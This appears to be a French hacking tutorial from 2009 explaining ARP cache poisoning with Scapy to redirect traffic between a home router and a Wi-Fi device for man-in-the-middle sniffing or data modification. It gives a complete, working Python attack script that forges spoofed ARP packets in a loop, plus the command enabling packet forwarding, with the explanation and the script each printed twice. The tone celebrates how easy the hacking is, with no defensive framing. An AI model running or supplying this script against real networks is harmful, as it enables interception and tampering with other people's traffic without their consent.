Redirection d'un flux de donnée par ARP Spoofing
ARP Cache Poisoning
Après le SYN Flood qui constituait une attaque à but dévastateur, l'ARP CP permet une attaque beaucoup plus viscieuse. Toujours avec Scapy, nous allons rediriger le flux entre un routeur (ici, ma livebox) et une des machines de notre LAN (ici mon ipod touch, connecté en WIFI) pour qu'il transite par notre machine. Ce qui ouvre de nombreuses possibilités : Attaque Man in The Middle (Sniff, Modification des données).
L'arp Cache Poisoning se déroule en deux étapes :
On va forger un paquet 'who-has' en spoofant l'ip du routeur que nous enverront à la cible. La cible mettra a jour son cache ARP en faisant correspondre l'IP du routeur et l'adresse MAC de notre machine. Nous procederons de même pour corrompre le cache du routeur.
Il est necessaire d'activer le routage des paquets sur la machine attaquante. Sous ubuntu, une simple comande suffit à le faire (il faut être identifié root, a l'aide de la comande sudo bash)
echo 1 > /proc/sys/net/ipv4/ip_forward
#-*-coding:Utf-8-*-
from scapy.all import *
import sys,time
#------------------------------------
# ARP Cache Attack
# By iZy_TeH_PariaH
# Version : python 2.6
# 21 aout 2009
#------------------------------------
if __name__ == '__main__':
if len(sys.argv) < 3:
print 'Syntaxe : !/arpPoisoner.py <ip_cible> <ip_routeur>'
exit(0)
i = 0
while 1:
try: #On essaie de forger les deux paquets ARP
sendp(Ether(dst = getmacbyip(sys.argv[1]))/ARP(op = 'who-has',psrc = sys.argv[2] , pdst = sys.argv[1] )) #Spoofing de l'adresse mac routeur
i = i + 1
sendp(Ether(dst = getmacbyip(sys.argv[2]))/ARP(op = 'who-has',psrc = sys.argv[1], pdst = sys.argv[2])) #Spoofing de l'adresse mac de la cible
i = i + 1
time.sleep(5) # On effectue une pause de 5 secondes entre deux phases de corruption
except:
print 'Erreur lors du lancement des paquets'
print 'Paquets envoyés : ' + str(i)
break
L'arp Cache Poisoning se déroule en deux étapes :
On va forger un paquet 'who-has' en spoofant l'ip du routeur que nous enverront à la cible. La cible mettra a jour son cache ARP en faisant correspondre l'IP du routeur et l'adresse MAC de notre machine. Nous procederons de même pour corrompre le cache du routeur.
Il est necessaire d'activer le routage des paquets sur la machine attaquante. Sous ubuntu, une simple comande suffit à le faire (il faut être identifié root, a l'aide de la comande sudo bash)
echo 1 > /proc/sys/net/ipv4/ip_forward
Le code de l'ARP spoofing est simple en soi. De toute façon, avec scapy, le hacking est tellement simple !
On visualise bien le résultat sur Wireshark, mon IP etant 192.168.1.11, celle de mon ipod : 192.168.1.10 et celle de ma livebox 192.168.1.1 Il y a des paquets qui transitent par mon ordinateur alors que mon adresse IP n'est ni l'adresse source, ni l'adresse destinatrice.
#-*-coding:Utf-8-*-
from scapy.all import *
import sys,time
#------------------------------------
# ARP Cache Attack
# By iZy_TeH_PariaH
# Version : python 2.6
# 21 aout 2009
#------------------------------------
if __name__ == '__main__':
if len(sys.argv) < 3:
print 'Syntaxe : !/arpPoisoner.py <ip_cible> <ip_routeur>'
exit(0)
i = 0
while 1:
try: #On essaie de forger les deux paquets ARP
sendp(Ether(dst = getmacbyip(sys.argv[1]))/ARP(op = 'who-has',psrc = sys.argv[2] , pdst = sys.argv[1] )) #Spoofing de l'adresse mac routeur
i = i + 1
sendp(Ether(dst = getmacbyip(sys.argv[2]))/ARP(op = 'who-has',psrc = sys.argv[1], pdst = sys.argv[2])) #Spoofing de l'adresse mac de la cible
i = i + 1
time.sleep(5) # On effectue une pause de 5 secondes entre deux phases de corruption
except:
print 'Erreur lors du lancement des paquets'
print 'Paquets envoyés : ' + str(i)
break
Publicité
